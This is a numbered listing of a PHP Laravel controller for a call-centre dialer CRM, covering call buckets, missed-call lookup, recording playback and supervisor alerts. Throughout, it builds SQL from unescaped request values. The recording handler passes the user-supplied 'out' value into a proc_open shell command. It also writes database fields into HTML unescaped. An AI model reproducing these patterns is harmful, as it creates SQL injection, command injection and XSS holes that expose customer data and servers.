| 839 | else if($bucket=="SearchData")$dbres=$wakka->getPersons("1=1 $roclientstrAll $skey limit $bs,$bl"); | ||
| 840 | else if($bucket=="NotCalled")$dbres=$wakka->getPersons("status='New' and currentstatus='$currentstatus' and legalstatus='$legalstatus' $owclientstr limit $bs,$bl"); | ||
| 841 | else if($bucket=="Called")$dbres=$wakka->getPersons("status='Called' $owclientstr limit $bs,$bl"); | ||
| 842 | else if($bucket=="Priority")$dbres=$wakka->getPersons("status='Priority' $owclientstr limit $bs,$bl"); | ||
| 843 | else if($bucket=="Flagged-Called")$dbres=$wakka->getPersons("dialer_flag='VIP' and currentstatus='$currentstatus' and legalstatus='$legalstatus' $owclientstr limit $bs,$bl"); | ||
| 844 | else if($bucket=="Flagged-Notcalled")$dbres=$wakka->getPersons("mf_isa='VIP' and currentstatus='$currentstatus' and legalstatus='$legalstatus' $owclientstr limit $bs,$bl"); | ||
| 845 | |||
| 846 | else if($bucket=="MissedCalls") | ||
| 847 | { | ||
| 848 | $udidlinesstr = array(); | ||
| 849 | foreach($didlinesstr as $didlinestr){ | ||
| 850 | $didlinestrArr=explode(":",$didlinestr); | ||
| 851 | $udidlinesstr[] = substr($didlinestrArr[0], env('didnumber')); | ||
| 852 | } | ||
| 853 | |||
| 854 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 855 | $mc=$mc->where(function ($query) use($roclientlst,$udidlinesstr){ | ||
| 856 | $query->orWhereIn('client',$roclientlst)->orWhereIn('did',$udidlinesstr); | ||
| 857 | }); | ||
| 858 | $mc=$mc->get(); | ||
| 859 | |||
| 860 | $number_list=array(); | ||
| 861 | |||
| 862 | foreach($mc as $key=>$tcall){ | ||
| 863 | |||
| 864 | $tccal=substr($tcall->number,-10); | ||
| 865 | $mc_number=CRMCall::where('userstatus','!=','InboundDROP')->where ('created_at','>',$tcall->created_at)->where('number','like',"%".$tccal."%")->orderBy("id","DESC")->first(); | ||
| 866 | |||
| 867 | |||
| 868 | |||
| 869 | $mccount= count($mc_number); | ||
| 870 | if($mccount==0){ | ||
| 871 | $number_list[] = $tcall->number; | ||
| 872 | } | ||
| 873 | } | ||
| 874 | |||
| 875 | if(count($number_list) > 0) { | ||
| 876 | $lcalls=DB::select("SELECT * FROM crmcalls where id in (SELECT max(id) FROM crmcalls WHERE number IN ('" . implode("','", $number_list). "') GROUP BY number )"); | ||
| 877 | |||
| 878 | foreach($lcalls as $lcall) | ||
| 879 | { | ||
| 880 | if($lcall->userstatus=="InboundDROP") | ||
| 881 | { | ||
| 882 | if($lcall->crm_id>0) | ||
| 883 | { | ||
| 884 | $reccrm_ids[] = "'".$lcall->crm_id."'"; | ||
| 885 | } | ||
| 886 | else | ||
| 887 | { | ||
| 888 | $recordValue = DB::table('records')->where('mobile','=',substr($lcall->number,-10))->get(); | ||
| 889 | if($recordValue){ | ||
| 890 | $reccrm_ids[] = "'".$recordValue[0]->id."'"; | ||
| 891 | } | ||
| 892 | else{ | ||
| 893 | $dbres[]=array('client'=>$lcall->client,'mobile'=>substr($lcall->number,-10),'callid'=>$lcall->id); | ||
| 894 | } | ||
| 895 | } | ||
| 896 | } | ||
| 897 | } | ||
| 898 | |||
| 899 | if(!empty($reccrm_ids)) | ||
| 900 | { | ||
| 901 | $recids_str = implode(",", $reccrm_ids); | ||
| 902 | $rec=$wakka->getPersons("id in ($recids_str)"); | ||
| 903 | $dbres = array_merge($dbres,$rec); | ||
| 904 | } | ||
| 905 | } | ||
| 906 | |||
| 907 | |||
| 908 | } | ||
| 909 | else if($bucket=="CallsToday")$dbres=$wakka->getPersons("dialer_lastcall>='".date("Y-m-d 00:00:00",time()+((Auth::user()->timezone)*60))."' $owclientstr limit $bs,$bl"); | ||
| 910 | else if($bucket=="CallsMonth")$dbres=$wakka->getPersons("dialer_lastcall>='".date("Y-m-01 00:00:00",time()+((Auth::user()->timezone)*60))."' $owclientstr limit $bs,$bl"); | ||
| 911 | |||
| 912 | else | ||
| 913 | { | ||
| 914 | $currentstatus2='';$legalstatus2=''; | ||
| 915 | if($currentstatus!="")$currentstatus2=" and currentstatus='$currentstatus' "; | ||
| 916 | if($legalstatus!="")$legalstatus2=" and legalstatus='$legalstatus' "; | ||
| 917 | $dbres=$wakka->getPersons("dialer_status='$bucket' $currentstatus2 $legalstatus2 $owclientstr limit $bs,$bl"); | ||
| 918 | } | ||
| 919 | |||
| 920 | $ccountsummary=array();$k=1;//Log::info(count($dbres)); | ||
| 921 | foreach($dbres as $dbrow) | ||
| 922 | { | ||
| 923 | if(isset($dbrow['callid'])) | ||
| 924 | { | ||
| 925 | $lastcall=CRMCall::find($dbrow['callid']); | ||
| 926 | $callcntmonth=CRMCall::where("number","=",$dbrow['mobile'])->where("created_at",">=",date("Y-m-01 H:i:s",time()+((Auth::user()->timezone)*60)))->count(); | ||
| 927 | } | ||
| 928 | else if($dbrow['id']>0) | ||
| 929 | { | ||
| 930 | $lastcall=CRMCall::where("crm_id","=",$dbrow['id'])->where('type','!=','Conference')->orderBy("id","DESC")->first(); | ||
| 931 | $callcntmonth=CRMCall::where("crm_id","=",$dbrow['id'])->where("created_at",">=",date("Y-m-01 H:i:s",time()+((Auth::user()->timezone)*60)))->count(); | ||
| 932 | } | ||
| 933 | |||
| 934 | if(!isset($ccountsummary[$callcntmonth]))$ccountsummary[$callcntmonth]=0; | ||
| 935 | $ccountsummary[$callcntmonth]++; | ||
| 936 | |||
| 937 | $type="";$lasttime="";$dispo="";$subdispo="";$followup="";$remarks="";$did=""; | ||
| 938 | |||
| 939 | if($lastcall) | ||
| 940 | { | ||
| 941 | $type=$lastcall->type; | ||
| 942 | $lasttime=$lastcall->created_at;if($lasttime=="0000-00-00 00:00:00")$lasttime="";else $lasttime=date("d-M-y H:i:s",strtotime($lasttime)-((Auth::user()->timezone)*60)); | ||
| 943 | $dispo=$lastcall->userstatus; | ||
| 944 | $subdispo=$lastcall->usersubstatus; | ||
| 945 | $followup=$dbrow[dialer_callback];if($followup=="0000-00-00 00:00:00")$followup="";else $followup=date("d-M-y H:i:s",strtotime($followup)-(Auth::user()->timezone*60)); | ||
| 946 | $remarks=$lastcall->userremarks; | ||
| 947 | $did=$lastcall->did; | ||
| 948 | } | ||
| 949 | |||
| 950 | if(stristr($dbrow[firstname], "Potential") != "") | ||
| 951 | { | ||
| 952 | $rows.="<tr style='background-color: #59ee7c;color:#ffffff;font-weight: bolder;font-size:115%'>"; | ||
| 953 | } | ||
| 954 | else | ||
| 955 | { | ||
| 956 | $rows.="<tr>"; | ||
| 957 | } | ||
| 958 | if($bucket=="MissedCalls"){ | ||
| 959 | $type="Inbound"; | ||
| 960 | } | ||
| 961 | |||
| 962 | //onclick call disable for the manual mode is not assign to user code by prashant Jadhav | ||
| 963 | $userdialmode=Auth::user()->dialmode_assign; | ||
| 964 | $userdialmode=explode(",",$userdialmode); | ||
| 965 | |||
| 966 | if(in_array('Manual',$userdialmode)) | ||
| 967 | { | ||
| 968 | $rows.="<td><a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"Manual\",\"\",0);return false;'><i class='fa fa-phone'></i></a></td>"; | ||
| 969 | } | ||
| 970 | else | ||
| 971 | { | ||
| 972 | $rows.="<td><a href=# class='' return false;'><i class='fa fa-phone'></i></a></td>"; | ||
| 973 | } | ||
| 974 | |||
| 975 | |||
| 976 | $rows.="<td>$k</td> | ||
| 977 | <td title='$dbrow[id]'>$dbrow[client]</td> | ||
| 978 | <td title=''>$dbrow[clientinternalid]</td> | ||
| 979 | <td title=''>$dbrow[clientcode]</td> | ||
| 980 | <td>$dbrow[firstname]</td>"; | ||
| 981 | |||
| 982 | if(in_array('Manual',$userdialmode)) | ||
| 983 | { | ||
| 984 | $rows.="<td><a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"Manual\",\"\",0);return false;'>$dbrow[mobile]</a></td>"; | ||
| 985 | } | ||
| 986 | else | ||
| 987 | { | ||
| 988 | $rows.="<td><a href=# class='' return false;'>$dbrow[mobile]</a></td>"; | ||
| 989 | } | ||
| 990 | |||
| 991 | |||
| 992 | $rows.="<td>$type</td> | ||
| 993 | <td>$lasttime</td> | ||
| 994 | <td title='$subdispo :: $remarks'>$dispo</td> | ||
| 995 | <td>$followup</td> | ||
| 996 | <td>$dbrow[status]</td> | ||
| 997 | <td>C".str_pad($callcntmonth,3, "0", STR_PAD_LEFT)."</td> | ||
| 998 | <!--<td><a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"Progressive\",\"\",0);return false;'><i class='fa fa-phone'></i></a> <a href=# class='' onclick='dialerQuickOpen(\"$dbrow[id]\",\"$dbrow[mobile]\",\"DialNext\",\"\",0);return false;'><i class='fa fa-file'></i></a></td>--> | ||
| 999 | <td>$did</td> | ||
| 1000 | </tr>"; | ||
| 1001 | $k++; | ||
| 1002 | } | ||
| 1003 | |||
| 1004 | $summarycounts=""; | ||
| 1005 | $message_display=""; | ||
| 1006 | ksort($ccountsummary); | ||
| 1007 | foreach($ccountsummary as $key=>$val) | ||
| 1008 | { | ||
| 1009 | $summarycounts.="<span class='label label-small label-default'>C".str_pad($key,3, "0", STR_PAD_LEFT)." : $val</span> "; | ||
| 1010 | } | ||
| 1011 | //Dispodelay running message on PB's Screen Code by Prashant Jadhav | ||
| 1012 | $pb_message=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->where('status','like','%'.Auth::user()->username."-Unread".'%')->get(); | ||
| 1013 | |||
| 1014 | //echo "<pre>".print_r($pb_message)."</pre>"; | ||
| 1015 | if(is_array($pb_message)) | ||
| 1016 | { | ||
| 1017 | foreach ($pb_message as $messagekey => $messageval) | ||
| 1018 | { | ||
| 1019 | $message_display .="<marquee style='font-size:115%;font-weight: bolder;color:#3B2092'>".$messageval->message."</marquee>"; | ||
| 1020 | } | ||
| 1021 | } | ||
| 1022 | |||
| 1023 | $data="<h5>Bucket : $bucket</h5>$message_display<hr>$summarycounts<br>"; | ||
| 1024 | //code end | ||
| 1025 | |||
| 1026 | $data.="<a class='pre_nxt' href='#' onclick=\"dialerLoadData('$bucket','$currentstatus','$legalstatus',".($page-1).",$('#dialerbkey').html(),$('#dialerbtxt').val());return false;\"><< Previous Page</a> | ||
| 1027 | <a class='pre_nxt' href='#' onclick=\"dialerLoadData('$bucket','$currentstatus','$legalstatus',".($page+1).",$('#dialerbkey').html(),$('#dialerbtxt').val());return false;\">Next Page >></a> | ||
| 1028 | |||
| 1029 | <span class=pull-right> | ||
| 1030 | <input type=text class='form-control pull-left' style='width:200px' placeholder='search..' value='$stxt' id=dialerbtxt> | ||
| 1031 | <button class='btn btn-default pull-right' onclick=\"dialerLoadData('SearchData','','',1,$('#dialerbkey').html(),$('#dialerbtxt').val());return false\"> Search </button> | ||
| 1032 | </span>"; | ||
| 1033 | |||
| 1034 | $data.=" | ||
| 1035 | <div style='clear:both'></div> | ||
| 1036 | |||
| 1037 | <table class='table '> | ||
| 1038 | <thead> | ||
| 1039 | <tr> | ||
| 1040 | <th></th> | ||
| 1041 | <th></th> | ||
| 1042 | <th>Campaign</th> | ||
| 1043 | <th>Group_ID</th> | ||
| 1044 | <th>Cust_ID</th> | ||
| 1045 | <th>Name</th> | ||
| 1046 | <th>Number</th> | ||
| 1047 | <th>Type</th> | ||
| 1048 | <th>LastCall</th> | ||
| 1049 | <th>Disposition</th> | ||
| 1050 | <th>NextFollowup</th> | ||
| 1051 | <th>Status</th> | ||
| 1052 | <th>Count</th> | ||
| 1053 | <!--<th></th>--> | ||
| 1054 | <th>DID</th> | ||
| 1055 | </tr> | ||
| 1056 | </thead> | ||
| 1057 | <tbody> | ||
| 1058 | $rows | ||
| 1059 | </table>"; | ||
| 1060 | return Response::make($data); | ||
| 1061 | } | ||
| 1062 | if($id=="reports") | ||
| 1063 | { | ||
| 1064 | return view("layout.module.dialer.reports",array()); | ||
| 1065 | } | ||
| 1066 | if($id=="campaigns") | ||
| 1067 | { | ||
| 1068 | return view("layout.module.dialer.campaigns",array()); | ||
| 1069 | } | ||
| 1070 | if($id=="calllog") | ||
| 1071 | { | ||
| 1072 | return view("layout.module.dialer.calllog",array()); | ||
| 1073 | } | ||
| 1074 | if($id=="agentreport") | ||
| 1075 | { | ||
| 1076 | return view("layout.module.dialer.agentreport",array()); | ||
| 1077 | } | ||
| 1078 | if($id=="campreport") | ||
| 1079 | { | ||
| 1080 | return view("layout.module.dialer.campreport",array()); | ||
| 1081 | } | ||
| 1082 | if($id=="statusreport") | ||
| 1083 | { | ||
| 1084 | return view("layout.module.dialer.statusreport",array()); | ||
| 1085 | } | ||
| 1086 | if($id=="questionnaire") | ||
| 1087 | { | ||
| 1088 | return view("layout.module.dialer.questairereport",array()); | ||
| 1089 | } | ||
| 1090 | if($id=="callmanagement") | ||
| 1091 | { | ||
| 1092 | return view("layout.module.dialer.callmanagementreport",array()); | ||
| 1093 | } | ||
| 1094 | if($id=="supmessages") | ||
| 1095 | { | ||
| 1096 | return view("layout.module.dialer.supmessagesreport",array()); | ||
| 1097 | } | ||
| 1098 | |||
| 1099 | if($id=='playrecfile') | ||
| 1100 | { | ||
| 1101 | $calllog=CRMCallArchive::find(Input::get("calllog")); | ||
| 1102 | |||
| 1103 | $file=$calllog->getRecFilePath(); | ||
| 1104 | $ext=$calllog->getRecFileExt(); | ||
| 1105 | if($ext=='wav') | ||
| 1106 | { | ||
| 1107 | header('Content-type: audio/x-wav'); | ||
| 1108 | header("Content-length: ".filesize($file)); | ||
| 1109 | header("Content-disposition: attachment; filename=\"".basename($file)."\""); | ||
| 1110 | readfile("$file"); | ||
| 1111 | } | ||
| 1112 | if($ext=='gsm') | ||
| 1113 | { | ||
| 1114 | $out=Input::get("out","ogg"); | ||
| 1115 | |||
| 1116 | header("Content-type: audio/x-$out"); | ||
| 1117 | header("Content-disposition: attachment; filename=\"".basename($file).".$out\""); | ||
| 1118 | $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")); | ||
| 1119 | $process = proc_open( "/usr/bin/sox $file /tmp/".basename($file).".$out", $descriptorspec, $pipes ); | ||
| 1120 | while( stream_get_contents( $pipes[1] )); | ||
| 1121 | header("Content-length: ".filesize("/tmp/".basename($file).".$out")); | ||
| 1122 | readfile("/tmp/".basename($file).".$out");unlink("/tmp/".basename($file).".$out"); | ||
| 1123 | fclose( $pipes[1] ); | ||
| 1124 | fclose( $pipes[2] ); | ||
| 1125 | } | ||
| 1126 | return; | ||
| 1127 | } | ||
| 1128 | if($id=="liveusers") | ||
| 1129 | { | ||
| 1130 | return view("layout.module.dialer.liveusers",array()); | ||
| 1131 | } | ||
| 1132 | if($id=="recarchive") | ||
| 1133 | { | ||
| 1134 | return view("layout.module.dialer.recarchive",array()); | ||
| 1135 | } | ||
| 1136 | if($id=="recqc") | ||
| 1137 | { | ||
| 1138 | return view("layout.module.dialer.recqc",array()); | ||
| 1139 | } | ||
| 1140 | //relationship area dropdown option fetched code. code by Yashwant Sir | ||
| 1141 | if($id=="relationship") | ||
| 1142 | { | ||
| 1143 | $type=Input::get("type"); | ||
| 1144 | $id=Input::get("id"); | ||
| 1145 | if($type != "" && $id != ""){ | ||
| 1146 | if($type == "category"){ | ||
| 1147 | $output = "<option value=''>Select Category</option>"; | ||
| 1148 | $category = DB::table("relationship_category")->where("service_id",$id)->where("title","!=","")->where("status","=","Active")->get(); | ||
| 1149 | foreach($category as $cat){ | ||
| 1150 | $output .= "<option value='".$cat->id."'>".$cat->title."</option>"; | ||
| 1151 | } | ||
| 1152 | return $output; | ||
| 1153 | }else if($type == "subCategory"){ | ||
| 1154 | $output = "<option value=''>Select Sub Category</option>"; | ||
| 1155 | $subCategory = DB::table("relationship_sub_category")->where("category_id",$id)->where("title","!=","")->where("status","=","Active")->get(); | ||
| 1156 | foreach($subCategory as $cat){ | ||
| 1157 | $output .= "<option value='".$cat->title."'>".$cat->title."</option>"; | ||
| 1158 | } | ||
| 1159 | return $output; | ||
| 1160 | } | ||
| 1161 | } | ||
| 1162 | } | ||
| 1163 | //pending missed call alert for supervisors code by Prashant Jadhav | ||
| 1164 | if($id=="missedcallalert") | ||
| 1165 | { | ||
| 1166 | |||
| 1167 | |||
| 1168 | $user=Auth::user(); | ||
| 1169 | if($user->usertype=="Supervisor"||$user->usertype=="Admin") | ||
| 1170 | { | ||
| 1171 | |||
| 1172 | $dbres=array(); | ||
| 1173 | $wakka = new KHRMSLib(); | ||
| 1174 | $rows=""; | ||
| 1175 | |||
| 1176 | $owclientstr=array(); | ||
| 1177 | $oclientlst=$wakka->clientsOwnerRWAccess(); | ||
| 1178 | |||
| 1179 | |||
| 1180 | |||
| 1181 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 1182 | { | ||
| 1183 | $owclientstr[]="'$tclnt'"; | ||
| 1184 | if($client=="")$client=$tclnt; | ||
| 1185 | } | ||
| 1186 | if(!empty($owclientstr))$owclientstr="and client in (".implode(",",$owclientstr).")";else $owclientstr=""; | ||
| 1187 | if($client!="")$owclientstr="and client='$client'"; | ||
| 1188 | |||
| 1189 | $roclientstr=array();$didlinesstr=array();if(Auth::user()->exten!="")$didlinesstr[]=Auth::user()->exten; | ||
| 1190 | $roclientlst=$wakka->clientsReadAccess(); | ||
| 1191 | |||
| 1192 | if(!empty($roclientlst))foreach($roclientlst as $tclnt)if($tclnt!="") | ||
| 1193 | { | ||
| 1194 | $roclientstr[]="'$tclnt'"; | ||
| 1195 | if($client=="")$client=$tclnt; | ||
| 1196 | |||
| 1197 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 1198 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 1199 | } | ||
| 1200 | foreach($didlinesstr as $k=>$dids) | ||
| 1201 | { | ||
| 1202 | $didarr=explode(":",$dids); | ||
| 1203 | $didlinesstr[$k]=$didarr[0]; | ||
| 1204 | } | ||
| 1205 | |||
| 1206 | if(!empty($roclientstr))$roclientstr="and client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 1207 | $roclientstrAll=$roclientstr; | ||
| 1208 | if($client!="")$roclientstr="and client='$client'"; | ||
| 1209 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 1210 | $udidlinesstr = array(); | ||
| 1211 | foreach($didlinesstr as $didlinestr){ | ||
| 1212 | $didlinestrArr=explode(":",$didlinestr); | ||
| 1213 | $udidlinesstr[] = substr($didlinestrArr[0], env('didnumber')); | ||
| 1214 | } | ||
| 1215 | |||
| 1216 | /*$mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>=',date('Y-m-d H:i:s',time()-15*60));*/ | ||
| 1217 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 1218 | $mc=$mc->where(function ($query) use($roclientlst,$udidlinesstr){ | ||
| 1219 | $query->orWhereIn('client',$roclientlst)->orWhereIn('did',$udidlinesstr); | ||
| 1220 | }); | ||
| 1221 | $mc=$mc->get(); | ||
| 1222 | |||
| 1223 | $number_list=array(); | ||
| 1224 | |||
| 1225 | foreach($mc as $key=>$tcall){ | ||
| 1226 | |||
| 1227 | $tccal=substr($tcall->number,-10); | ||
| 1228 | $mc_number=CRMCall::where('userstatus','!=','InboundDROP')->where ('created_at','>',$tcall->created_at)->where('number','like',"%".$tccal."%")->orderBy("id","DESC")->first(); | ||
| 1229 | |||
| 1230 | $mccount= count($mc_number); | ||
| 1231 | if($mccount==0){ | ||
| 1232 | $number_list[] = $tcall->number; | ||
| 1233 | } | ||
| 1234 | } | ||
| 1235 | |||
| 1236 | if(count($number_list) > 0) | ||
| 1237 | { | ||
| 1238 | $lcalls=DB::select("SELECT * FROM crmcalls where id in (SELECT max(id) FROM crmcalls WHERE number IN ('" . implode("','", $number_list). "') GROUP BY number )"); | ||
| 1239 | |||
| 1240 | foreach($lcalls as $lcall) | ||
| 1241 | { | ||
| 1242 | if($lcall->userstatus=="InboundDROP") | ||
| 1243 | { | ||
| 1244 | if($lcall->crm_id>0) | ||
| 1245 | { | ||
| 1246 | $reccrm_ids[] = "'".$lcall->crm_id."'"; | ||
| 1247 | } | ||
| 1248 | else | ||
| 1249 | { | ||
| 1250 | $recordValue = DB::table('records')->where('mobile','=',substr($lcall->number,-10))->get(); | ||
| 1251 | if($recordValue){ | ||
| 1252 | $reccrm_ids[] = "'".$recordValue[0]->id."'"; | ||
| 1253 | } | ||
| 1254 | else{ | ||
| 1255 | $dbres[]=array('client'=>$lcall->client,'mobile'=>substr($lcall->number,-10),'callid'=>$lcall->id,'datetime'=>$lcall->updated_at); | ||
| 1256 | } | ||
| 1257 | } | ||
| 1258 | } | ||
| 1259 | } | ||
| 1260 | |||
| 1261 | if(!empty($reccrm_ids)) | ||
| 1262 | { | ||
| 1263 | $recids_str = implode(",", $reccrm_ids); | ||
| 1264 | $rec=$wakka->getPersons("id in ($recids_str)"); | ||
| 1265 | $dbres = array_merge($dbres,$rec); | ||
| 1266 | |||
| 1267 | $mobile=""; | ||
| 1268 | foreach ($dbres as $dbrow) | ||
| 1269 | { | ||
| 1270 | |||
| 1271 | $mobile.= $dbrow['mobile']."-".$dbrow['client']."-".$dbrow['datetime'].","; | ||
| 1272 | } | ||
| 1273 | return "<script>alert('Missed call is pending for :-----".$mobile." !')</script>"; | ||
| 1274 | //echo "<pre>".print_r($dbres)."</pre>"; | ||
| 1275 | } | ||
| 1276 | else | ||
| 1277 | { | ||
| 1278 | return; | ||
| 1279 | } | ||
| 1280 | } | ||
| 1281 | } | ||
| 1282 | } | ||
| 1283 | |||
| 1284 | return view("layout.module.dialer.$id",array()); | ||
| 1285 | } | ||
| 1286 | public function edit($id) | ||
| 1287 | { | ||
| 1288 | |||
| 1289 | } | ||
| 1290 | public function update($id) | ||
| 1291 | { | ||
| 1292 | |||
| 1293 | } | ||
| 1294 | public function destroy($id) | ||
| 1295 | { | ||
| 1296 | // | ||
| 1297 | } | ||
| 1298 | |||
| 1299 | |||
| 1300 | public function dashboard() | ||
| 1301 | { | ||
| 1302 | //echo "OK"; | ||
| 1303 | } | ||
| 1304 | |||
| 1305 | private function getCallSequencing($limit) | ||
| 1306 | { | ||
| 1307 | $wakka = new KHRMSLib(); | ||
| 1308 | |||
| 1309 | $roclientstr=array();$didlinesstr=array(); | ||
| 1310 | if(Auth::user()->exten!="")$didlinesstr[]=Auth::user()->exten; | ||
| 1311 | $oclientlst=$wakka->clientsOwnerRWAccess(); | ||
| 1312 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 1313 | { | ||
| 1314 | $roclientstr[]="'$tclnt'"; | ||
| 1315 | |||
| 1316 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 1317 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 1318 | } | ||
| 1319 | |||
| 1320 | $mroclientstr = $roclientstr; | ||
| 1321 | |||
| 1322 | $client=Input::get("client"); | ||
| 1323 | |||
| 1324 | if(!empty($roclientstr))$roclientstr="client='$client'";else $roclientstr=""; | ||
| 1325 | //if(!empty($roclientstr))$roclientstr="client in (".implode(",",$roclientstr).")";else $roclientstr=""; | ||
| 1326 | |||
| 1327 | $users=array(); | ||
| 1328 | |||
| 1329 | if(Auth::user()->usertype!="User"){$tusers=array();return $tusers;} | ||
| 1330 | |||
| 1331 | // if(!empty($roclientstr))$roclientstr="client=''";else $roclientstr=""; | ||
| 1332 | |||
| 1333 | $clientDetails=$wakka->getPersons("$roclientstr order by dialer_lastcall asc"); | ||
| 1334 | |||
| 1335 | if($limit>0) | ||
| 1336 | { | ||
| 1337 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1338 | return ($var['dialer_status']=='InboundDROP'); | ||
| 1339 | }); | ||
| 1340 | |||
| 1341 | $l=1; | ||
| 1342 | foreach($tusers as $tuser){ | ||
| 1343 | if(!isset($users[$tuser['id']])){ | ||
| 1344 | $users[$tuser['id']]=$tuser; | ||
| 1345 | $l++; | ||
| 1346 | |||
| 1347 | if($l>$limit) | ||
| 1348 | break; | ||
| 1349 | } | ||
| 1350 | } | ||
| 1351 | |||
| 1352 | $limit=$limit-sizeof($tusers); | ||
| 1353 | } | ||
| 1354 | |||
| 1355 | if($limit>0) | ||
| 1356 | { | ||
| 1357 | if(!empty($didlinesstr)) | ||
| 1358 | { | ||
| 1359 | $udidlinesstr = array(); | ||
| 1360 | foreach($didlinesstr as $didlinestr){ | ||
| 1361 | $didlinestrArr=explode(":",$didlinestr); | ||
| 1362 | $udidlinesstr[] = substr($didlinestrArr[0], -8); | ||
| 1363 | } | ||
| 1364 | $tusers=array(); | ||
| 1365 | |||
| 1366 | $mc=CRMCall::where('userstatus','=','InboundDROP')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60))); | ||
| 1367 | $mc=$mc->where(function ($query) use($mroclientstr,$udidlinesstr){ | ||
| 1368 | $query->orWhereIn('client',$mroclientstr)->orWhereIn('did',$udidlinesstr); | ||
| 1369 | }); | ||
| 1370 | $mc=$mc->get(); | ||
| 1371 | |||
| 1372 | $number_list=array(); | ||
| 1373 | foreach($mc as $key=>$tcall){ | ||
| 1374 | |||
| 1375 | $tccal=substr($tcall->number,-10); | ||
| 1376 | $mc_number=CRMCall::where('userstatus','!=','InboundDROP') | ||
| 1377 | ->where('created_at','>',$tcall->created_at) | ||
| 1378 | ->where('number','like',"%".$tccal."%") | ||
| 1379 | ->orderBy("id","DESC") | ||
| 1380 | ->first(); | ||
| 1381 | |||
| 1382 | $mccount= count($mc_number); | ||
| 1383 | if($mccount==0){ | ||
| 1384 | $number_list[] = $tcall->number; | ||
| 1385 | } | ||
| 1386 | } | ||
| 1387 | |||
| 1388 | $othermissedcalls=DB::select("SELECT * FROM crmcalls where id in (SELECT max(id) FROM crmcalls WHERE number IN | ||
| 1389 | ('" . implode("','", $number_list). "') GROUP BY number )"); | ||
| 1390 | |||
| 1391 | // $othermissedcalls=CRMCall::where('crm_id','=','0')->where('userstatus','=','InboundDROP')->where('did','like','%'.$didlinesstr.'%')->where('created_at','>',date('Y-m-d H:i:s',time()-(7*24*60*60)))->take($limit)->groupBy('number')->get(); | ||
| 1392 | |||
| 1393 | /* Changes For Missed Call - 14/02/17 */ | ||
| 1394 | |||
| 1395 | foreach($othermissedcalls as $othermissedcall) | ||
| 1396 | { | ||
| 1397 | $crmnumber = substr($othermissedcall->number, -10); | ||
| 1398 | |||
| 1399 | $tcall=array_filter($clientDetails, function($var) use ($crmnumber){ | ||
| 1400 | return ($var['mobile']==$crmnumber); | ||
| 1401 | }); | ||
| 1402 | |||
| 1403 | if($tcall) | ||
| 1404 | { | ||
| 1405 | $tcall = array_values($tcall); | ||
| 1406 | $tcall = $tcall[0]; | ||
| 1407 | |||
| 1408 | if(isset($tcall['id']) || $tcall['dialer_status']=="InboundDROP") | ||
| 1409 | { | ||
| 1410 | $tusers[$othermissedcall->id]=array('id'=>$tcall['id'],'mobile'=>$othermissedcall->number,'client'=>$tcall['client'],'clientcode'=>$tcall['clientcode'],'clientinternalid'=>$tcall['clientinternalid'], 'firstname'=>$tcall['firstname'],'callid'=>$othermissedcall->id); | ||
| 1411 | } | ||
| 1412 | } | ||
| 1413 | |||
| 1414 | } | ||
| 1415 | |||
| 1416 | /* Changes For Missed Call - 14/02/17 */ | ||
| 1417 | |||
| 1418 | foreach($tusers as $tuser)if(!isset($users[$tuser['id']]))$users[$tuser['id']]=$tuser; | ||
| 1419 | |||
| 1420 | $limit=$limit-sizeof($tusers); | ||
| 1421 | } | ||
| 1422 | } | ||
| 1423 | |||
| 1424 | |||
| 1425 | if($limit>0) | ||
| 1426 | { | ||
| 1427 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1428 | return (strtotime($var['dialer_callback'])<strtotime(date('Y-m-d H:i:s',time()+(15*60)))&&$var['dialer_status']=='Contacted - FollowUp - Specific'); | ||
| 1429 | }); | ||
| 1430 | |||
| 1431 | $l=1; | ||
| 1432 | foreach($tusers as $tuser){ | ||
| 1433 | if(!isset($users[$tuser['id']])){ | ||
| 1434 | $users[$tuser['id']]=$tuser; | ||
| 1435 | $l++; | ||
| 1436 | |||
| 1437 | if($l>$limit) | ||
| 1438 | break; | ||
| 1439 | } | ||
| 1440 | } | ||
| 1441 | |||
| 1442 | $limit=$limit-sizeof($tusers); | ||
| 1443 | } | ||
| 1444 | |||
| 1445 | // if(Auth::user()->id=="49"){ | ||
| 1446 | |||
| 1447 | for($p=10;$p>0;$p--) | ||
| 1448 | { | ||
| 1449 | if($limit>0) | ||
| 1450 | { | ||
| 1451 | $tusers = array_filter($clientDetails, function($var) use ($p){ | ||
| 1452 | return (($var['priority']==$p)&&$var['mobile']!=''); | ||
| 1453 | }, ARRAY_FILTER_USE_BOTH); | ||
| 1454 | |||
| 1455 | if(!empty($tusers)) | ||
| 1456 | { | ||
| 1457 | $l=1; | ||
| 1458 | foreach($tusers as $tuser){ | ||
| 1459 | if(!isset($users[$tuser['id']])){ | ||
| 1460 | $users[$tuser['id']]=$tuser; | ||
| 1461 | $l++; | ||
| 1462 | |||
| 1463 | if($l>$limit) | ||
| 1464 | break; | ||
| 1465 | } | ||
| 1466 | } | ||
| 1467 | |||
| 1468 | $limit=$limit-sizeof($tusers); | ||
| 1469 | } | ||
| 1470 | } | ||
| 1471 | } | ||
| 1472 | |||
